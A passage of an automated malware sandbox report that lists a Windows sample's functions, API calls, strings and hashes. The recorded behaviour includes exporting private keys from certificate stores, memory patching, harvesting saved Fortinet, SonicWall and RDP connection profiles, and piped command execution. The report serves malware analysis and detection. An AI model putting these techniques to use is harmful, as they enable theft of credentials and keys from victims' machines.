Part of subcall function 00007FF7CBCA3220: LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CBCA2C48), ref: 00007FF7CBCA3336
Part of subcall function 00007FF7CBCA3220: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CBCA2C48), ref: 00007FF7CBCA3380
Part of subcall function 00007FF7CBCA3220: VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7CBCA33AC

Strings

1.2.840.113549, xrefs: 00007FF7CBCA305F, 00007FF7CBCA306F

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: Cert$Time$Name$CertificateCertificatesCryptEnumFileHeapStoreSystem$AcquireAddressContextFreeLibraryLoadPrivateProcProcessPropertyProtectStringUserVirtualwvsprintf
String ID: 1.2.840.113549
API String ID: 2787208766-3888290641
Opcode ID: 54ac73e7e283cc655eb01142bb5e8eae3fe0ba445d2b642dac4cf7936e5552d7
Instruction ID: c9aa2769a68da4bdf34d406fa0729a2bf928d94c85eb105ea93ef6a4eb9bd55f
Opcode Fuzzy Hash: 54ac73e7e283cc655eb01142bb5e8eae3fe0ba445d2b642dac4cf7936e5552d7
Instruction Fuzzy Hash: 14B18F62A1866285EB60AF6AD4512BEA761FB85BD4F800431EF9D07B69DF3CD104CB60

Function 00007FF7CBCA900C Relevance: 13.6, APIs: 9, Instructions: 137
pipeprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreatePipe.KERNELBASE ref: 00007FF7CBCA905F
GetLastError.KERNEL32 ref: 00007FF7CBCA907D
CreatePipe.KERNELBASE ref: 00007FF7CBCA90B7
GetLastError.KERNEL32 ref: 00007FF7CBCA90D5
CreatePipe.KERNELBASE ref: 00007FF7CBCA90FC
GetLastError.KERNEL32 ref: 00007FF7CBCA911A
CreateProcessW.KERNELBASE ref: 00007FF7CBCA91B7
GetLastError.KERNEL32 ref: 00007FF7CBCA91DF
CloseHandle.KERNEL32 ref: 00007FF7CBCA91F9

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: CreateErrorLast$Pipe$CloseHandleProcess
String ID:
API String ID: 2620922840-0
Opcode ID: 2bf46aedc423b534a393a5c4b1443350d03c6c4fe38568a13f8f064401dd7188
Instruction ID: 78e4cbc5e639e9c6d41149b44979b19229e93d5b01c940fd0eddf9693a211396
Opcode Fuzzy Hash: 2bf46aedc423b534a393a5c4b1443350d03c6c4fe38568a13f8f064401dd7188
Instruction Fuzzy Hash: 04518432B18A518AEB20EFB5D4843ED73A1AB58798F800435EF0D9BA69DF7CD109C350

Function 00007FF7CBCA9224 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 158
synchronizationtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,?), ref: 00007FF7CBCA924D

Part of subcall function 00007FF7CBCA25DC: GetProcessHeap.KERNEL32(?,?,?,00007FF7CBCA1985,?,?,?,00007FF7CBCA155F), ref: 00007FF7CBCA25E5

Part of subcall function 00007FF7CBCA25B4: GetProcessHeap.KERNEL32 ref: 00007FF7CBCA25C1
Part of subcall function 00007FF7CBCA25B4: RtlFreeHeap.NTDLL ref: 00007FF7CBCA25CF

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,?), ref: 00007FF7CBCA93AB
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,?), ref: 00007FF7CBCA93C0
TerminateProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,?), ref: 00007FF7CBCA93EF

Part of subcall function 00007FF7CBCA968C: PeekNamedPipe.KERNELBASE ref: 00007FF7CBCA96B8

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,?), ref: 00007FF7CBCA9421
GetExitCodeProcess.KERNELBASE ref: 00007FF7CBCA9460

Strings

& echo , xrefs: 00007FF7CBCA92BF

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: ProcessTime$Heap$FileObjectSingleSystemWait$CodeExitFreeNamedPeekPipeTerminate
String ID: & echo
API String ID: 2711250446-3491486023
Opcode ID: 9501a8b6e56cac107a441458360dc59c43fe8e9a05d9c4e06a1eb98c650668d3
Instruction ID: 3bec1a7aa0a13fcccb6b20944d3da7c00b11a4a17fb4a74cf147a75b846bf357
Opcode Fuzzy Hash: 9501a8b6e56cac107a441458360dc59c43fe8e9a05d9c4e06a1eb98c650668d3
Instruction Fuzzy Hash: 47515425B1965281EE30FF1AE5552BAE361FF84BA0F844831EF4E47AA5DE7CE445C320

Function 00007FF7CBCA2BAC Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 65
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CertOpenStore.CRYPT32 ref: 00007FF7CBCA2C16
CertCloseStore.CRYPT32 ref: 00007FF7CBCA2CC2

Part of subcall function 00007FF7CBCA2D5C: CertEnumCertificatesInStore.CRYPT32 ref: 00007FF7CBCA2D90
Part of subcall function 00007FF7CBCA2D5C: CertGetNameStringW.CRYPT32 ref: 00007FF7CBCA2DD3
Part of subcall function 00007FF7CBCA2D5C: CertNameToStrW.CRYPT32 ref: 00007FF7CBCA2EB8
Part of subcall function 00007FF7CBCA2D5C: CertNameToStrW.CRYPT32 ref: 00007FF7CBCA2F0A

Strings

fs{s, xrefs: 00007FF7CBCA2C6B
{s{s, xrefs: 00007FF7CBCA2C5E
+sls, xrefs: 00007FF7CBCA2C88
+ss, xrefs: 00007FF7CBCA2C73

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: Cert$NameStore$CertificatesCloseEnumOpenString
String ID: +ss$+sls$fs{s${s{s
API String ID: 3617724111-3691527440
Opcode ID: 041190dec486dc00a696f8e4274d1a1c3cacc9eb9b54fbdfd046d7e1b3a2024b
Instruction ID: edcb67239b6b68b93a48776e4fc6155eacee125f3c9669d6325235f45932fcaa
Opcode Fuzzy Hash: 041190dec486dc00a696f8e4274d1a1c3cacc9eb9b54fbdfd046d7e1b3a2024b
Instruction Fuzzy Hash: BA21B522A5869281E760AF5AE4403AEF361FB84B90F849431FF9E4B769DF3CD004C750

Function 00007FF7CBCA2B1C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CertEnumSystemStore.CRYPT32 ref: 00007FF7CBCA2B7F

Strings

"_":"", xrefs: 00007FF7CBCA2B5C
":{, xrefs: 00007FF7CBCA2B4D

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: CertEnumStoreSystem
String ID: ":{$"_":""
API String ID: 4132996702-2026347918
Opcode ID: 02997e885b2f021e2d77aaf3545baf76aa65b304f2a4f6736cd43391604a521e
Instruction ID: 94178f5d39d64df76898e11bf25ca889dfb1a757bf02ab4f7455f2db09d8cdd6
Opcode Fuzzy Hash: 02997e885b2f021e2d77aaf3545baf76aa65b304f2a4f6736cd43391604a521e
Instruction Fuzzy Hash: 0E01A225E5866142FB14FFAEA4401B9A355AF89BE0FC89431FE2E0777A8F2CD146C350

Function 00007FF7CBCA31C4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CertEnumSystemStoreLocation.CRYPT32 ref: 00007FF7CBCA3200

Strings

"_": "", xrefs: 00007FF7CBCA31E2

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: CertEnumLocationStoreSystem
String ID: "_": ""
API String ID: 863500693-1453221996
Opcode ID: ac8b6152a2a2325c9d9276e908165484d39c70b2a51ab9d8d04172e70dc37df3
Instruction ID: 6f68a68d590d496228e4c2e98e9d616a45e3bcb5855d890ea6ebbb82f6a24f8c
Opcode Fuzzy Hash: ac8b6152a2a2325c9d9276e908165484d39c70b2a51ab9d8d04172e70dc37df3
Instruction Fuzzy Hash: 1CE03055AA856241EE64BFAAA8511F593145F497E0FC82431FE1F4A376DE2CD1898320

Function 00007FF7CBCA968C Relevance: 3.0, APIs: 2, Instructions: 42
filepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekNamedPipe.KERNELBASE ref: 00007FF7CBCA96B8
ReadFile.KERNELBASE ref: 00007FF7CBCA96F7

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: FileNamedPeekPipeRead
String ID:
API String ID: 327342812-0
Opcode ID: 34d1d673edd9c40d02f270326efd511933567532b5db1aeb081074a9eac190bf
Instruction ID: 6f9dc541f5a7bdcd64e5a6f39810add0285742f10a5248228e099899ef55ab1d
Opcode Fuzzy Hash: 34d1d673edd9c40d02f270326efd511933567532b5db1aeb081074a9eac190bf
Instruction Fuzzy Hash: E301C42272865287E720AF19E44177AF3A0EB84BE4FA44534EB488B764DFBCE4408B50

Function 00007FF7CBCA95A0 Relevance: 3.0, APIs: 2, Instructions: 39
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WaitForSingleObject.KERNEL32(?,?,00007345,00007FF7CBCA9B7D), ref: 00007FF7CBCA95B6
GetExitCodeProcess.KERNELBASE ref: 00007FF7CBCA95F6

Part of subcall function 00007FF7CBCA968C: PeekNamedPipe.KERNELBASE ref: 00007FF7CBCA96B8

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: CodeExitNamedObjectPeekPipeProcessSingleWait
String ID:
API String ID: 2021502500-0
Opcode ID: 219911f9fbf93e8dc81b8ab5b15ed7b90f6e7e4d0e94d35a3e310abd07cbe8cc
Instruction ID: 2b5f5c9969b88cc19436da85c1b31952c19d325cb8543dafe00ee978ded5ff3f
Opcode Fuzzy Hash: 219911f9fbf93e8dc81b8ab5b15ed7b90f6e7e4d0e94d35a3e310abd07cbe8cc
Instruction Fuzzy Hash: D2018462A1895281EFA0AF29D4463BC6361EF40F98FA45931EB0D474A9DFACDC85C310

Function 00007FF7CBCA25B4 Relevance: 3.0, APIs: 2, Instructions: 13
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00007FF7CBCA25C1
RtlFreeHeap.NTDLL ref: 00007FF7CBCA25CF

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 3522ce1484baedbfe33511e301451e993b837232db68b9421e2362fa418d2ba1
Instruction ID: fc874a61e244393b01645d1476f95db25b3702cef564741ec7e6f4276a848406
Opcode Fuzzy Hash: 3522ce1484baedbfe33511e301451e993b837232db68b9421e2362fa418d2ba1
Instruction Fuzzy Hash: 18C01244E5661242FE3CABEB241407592516F5DB91B484030DF0A19771DE2C51D54210

Function 00007FF7CBCA1A70 Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wvsprintfW.USER32 ref: 00007FF7CBCA1AA9

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: wvsprintf
String ID:
API String ID: 2795597889-0
Opcode ID: 1ee19605ac26c83bc426fe2672bc05ad22fbb01a022c874d8b8b7949f4abed9f
Instruction ID: 62fb65bf6af4d806353a9024b6c9111032e4b2da68c8e8dc56edc331fe3f7bed
Opcode Fuzzy Hash: 1ee19605ac26c83bc426fe2672bc05ad22fbb01a022c874d8b8b7949f4abed9f
Instruction Fuzzy Hash: D2E06DB3A40B55C2D7049F29E98008CBB75EB99FD4B948021DF4817324CF38D996C760

Function 00007FF7CBCA79C4 Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00007FF7CBCA74DE), ref: 00007FF7CBCA79CD

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 6118cf754c1c705de9ec470bc179da628b291e502bfd3552ff041d694441724e
Instruction ID: 50a5fae239760d2581258f4ba071379c06f9afc1560f28932c7ccbbe23585411
Opcode Fuzzy Hash: 6118cf754c1c705de9ec470bc179da628b291e502bfd3552ff041d694441724e
Instruction Fuzzy Hash: 41D0A702C0C692C2DF317F18D44B03AA371BB64319FC00633E39D024B06F6CD699DA25

Non-executed Functions

Function 00007FF7CBCADC0C Relevance: 54.7, APIs: 16, Strings: 15, Instructions: 436filestringCOMMON

Download Yara Rule

APIs

PathCombineW.SHLWAPI ref: 00007FF7CBCADD8E
PathFileExistsW.SHLWAPI ref: 00007FF7CBCADD98
PathQuoteSpacesW.SHLWAPI ref: 00007FF7CBCADDAA
lstrcatW.KERNEL32 ref: 00007FF7CBCADDC3
GetEnvironmentVariableW.KERNEL32 ref: 00007FF7CBCADF50
PathAppendW.SHLWAPI ref: 00007FF7CBCADF7F
PathFileExistsW.SHLWAPI ref: 00007FF7CBCADF8C
CreateFileW.KERNEL32 ref: 00007FF7CBCADFBC
GetFileSize.KERNEL32 ref: 00007FF7CBCADFD4
ReadFile.KERNEL32 ref: 00007FF7CBCADFFC

Part of subcall function 00007FF7CBCACF20: lstrlenA.KERNEL32 ref: 00007FF7CBCACF33

Part of subcall function 00007FF7CBCA25B4: GetProcessHeap.KERNEL32 ref: 00007FF7CBCA25C1
Part of subcall function 00007FF7CBCA25B4: RtlFreeHeap.NTDLL ref: 00007FF7CBCA25CF

GetEnvironmentVariableW.KERNEL32 ref: 00007FF7CBCAE279
PathAppendW.SHLWAPI ref: 00007FF7CBCAE2A2
PathFileExistsW.SHLWAPI ref: 00007FF7CBCAE2AF
CreateFileW.KERNEL32 ref: 00007FF7CBCAE2DF
GetFileSize.KERNEL32 ref: 00007FF7CBCAE2F7

Part of subcall function 00007FF7CBCA2588: GetProcessHeap.KERNEL32(?,?,00000000,00007FF7CBCACD4D), ref: 00007FF7CBCA2595

ReadFile.KERNEL32 ref: 00007FF7CBCAE323

Strings

</DefaultGroup>, xrefs: 00007FF7CBCAE181
<DefaultHostName>, xrefs: 00007FF7CBCAE0C6
</DefaultUser>, xrefs: 00007FF7CBCAE059
", "host": ", xrefs: 00007FF7CBCAE0A8
<DefaultUser>, xrefs: 00007FF7CBCAE02D
", "group": ", xrefs: 00007FF7CBCAE13C
Software\SonicWALL\SSL-VPN NetExtender\Standalone\Profiles, xrefs: 00007FF7CBCADEE3
<DefaultGroup>, xrefs: 00007FF7CBCAE15A
Software\Fortinet\FortiClient\Sslvpn\Tunnels, xrefs: 00007FF7CBCADCBE
Software\Microsoft\Terminal Server Client\Servers, xrefs: 00007FF7CBCAE217
}},, xrefs: 00007FF7CBCAE1E7
]},, xrefs: 00007FF7CBCAE237
Software\SonicWall\SSL-VPN NetExtender\Standalone, xrefs: 00007FF7CBCADD5D
</DefaultHostName>, xrefs: 00007FF7CBCAE0ED
"user": ", xrefs: 00007FF7CBCAE01E

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: File$Path$ExistsHeap$AppendCreateEnvironmentProcessReadSizeVariable$CombineFreeQuoteSpaceslstrcatlstrlen
String ID: ", "group": "$", "host": "$"user": "$</DefaultGroup>$</DefaultHostName>$</DefaultUser>$<DefaultGroup>$<DefaultHostName>$<DefaultUser>$Software\Fortinet\FortiClient\Sslvpn\Tunnels$Software\Microsoft\Terminal Server Client\Servers$Software\SonicWALL\SSL-VPN NetExtender\Standalone\Profiles$Software\SonicWall\SSL-VPN NetExtender\Standalone$]},$}},
API String ID: 2508640211-1951492331
Opcode ID: 6257946d6f67a48a3e0c4b58714dd796895bfd9337bf57f202e8c5bb3e622608
Instruction ID: 7dc8321166a1ef433470333fe493dfe1a947a9d0779bdec27e600ad50d5e3911
Opcode Fuzzy Hash: 6257946d6f67a48a3e0c4b58714dd796895bfd9337bf57f202e8c5bb3e622608
Instruction Fuzzy Hash: AA128E61A1866245EB20FF69D8513FDA361AF85BA4FC04531FB1D4BABADF2CD505C320

Function 00007FF7CBCA3220 Relevance: 52.8, APIs: 25, Strings: 5, Instructions: 313encryptionmemorylibraryCOMMON

Download Yara Rule

APIs

CertGetCertificateContextProperty.CRYPT32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CBCA2C48), ref: 00007FF7CBCA325E
CryptAcquireCertificatePrivateKey.CRYPT32 ref: 00007FF7CBCA328D
CryptGetUserKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CBCA2C48), ref: 00007FF7CBCA32BB

Part of subcall function 00007FF7CBCA36F0: CryptExportKey.ADVAPI32 ref: 00007FF7CBCA3744
Part of subcall function 00007FF7CBCA36F0: CryptExportKey.ADVAPI32 ref: 00007FF7CBCA379E

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CBCA2C48), ref: 00007FF7CBCA3336
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CBCA2C48), ref: 00007FF7CBCA3380
VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7CBCA33AC
VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7CBCA33DC
CryptExportKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7CBCA3404
VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7CBCA341C
VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7CBCA343F
CryptAcquireContextA.ADVAPI32 ref: 00007FF7CBCA3459
CryptImportKey.ADVAPI32 ref: 00007FF7CBCA347E
OpenSCManagerA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CBCA2C48), ref: 00007FF7CBCA34B5
OpenServiceA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CBCA2C48), ref: 00007FF7CBCA3505
QueryServiceStatusEx.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CBCA2C48), ref: 00007FF7CBCA3523
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CBCA2C48), ref: 00007FF7CBCA3532
ReadProcessMemory.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CBCA2C48), ref: 00007FF7CBCA355D
ReadProcessMemory.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CBCA2C48), ref: 00007FF7CBCA357C
WriteProcessMemory.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7CBCA359F
NCryptExportKey.NCRYPT ref: 00007FF7CBCA3605
CertOpenStore.CRYPT32 ref: 00007FF7CBCA3667
CertAddCertificateLinkToStore.CRYPT32 ref: 00007FF7CBCA3682
CertSetCertificateContextProperty.CRYPT32 ref: 00007FF7CBCA369E
PFXExportCertStoreEx.CRYPT32 ref: 00007FF7CBCA36BD
PFXExportCertStoreEx.CRYPT32 ref: 00007FF7CBCA36DF

Strings

-,0z, xrefs: 00007FF7CBCA32FB
5)F, xrefs: 00007FF7CBCA34C7
CAPIPRIVATEBLOB, xrefs: 00007FF7CBCA35AF, 00007FF7CBCA35DE, 00007FF7CBCA3622
Microsoft Software Key Storage Provider, xrefs: 00007FF7CBCA360D
km{l, xrefs: 00007FF7CBCA32F2

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: Crypt$CertExport$CertificateOpenProcessProtectStoreVirtual$ContextMemory$AcquirePropertyReadService$AddressImportLibraryLinkLoadManagerPrivateProcQueryStatusUserWrite
String ID: -,0z$5)F$CAPIPRIVATEBLOB$Microsoft Software Key Storage Provider$km{l
API String ID: 2161712720-385819238
Opcode ID: 75218921cc3421a315647877bddf5402e5b1d27b10d9dd8a73d73ab1dfe14f5f
Instruction ID: ae87c4ee3059440fb8e593ef0657d4f88a3ca83d6d04778858a20a1a3804fedc
Opcode Fuzzy Hash: 75218921cc3421a315647877bddf5402e5b1d27b10d9dd8a73d73ab1dfe14f5f
Instruction Fuzzy Hash: 96E18D32B18A518AEB20DFA5E4546EEB7A1BB48798F804136EF4D17A68DF3CD109C750

Function 00007FF7CBCA213C Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 241COMMON

Download Yara Rule

APIs

WinHttpOpen.WINHTTP ref: 00007FF7CBCA218D

Part of subcall function 00007FF7CBCA25B4: GetProcessHeap.KERNEL32 ref: 00007FF7CBCA25C1
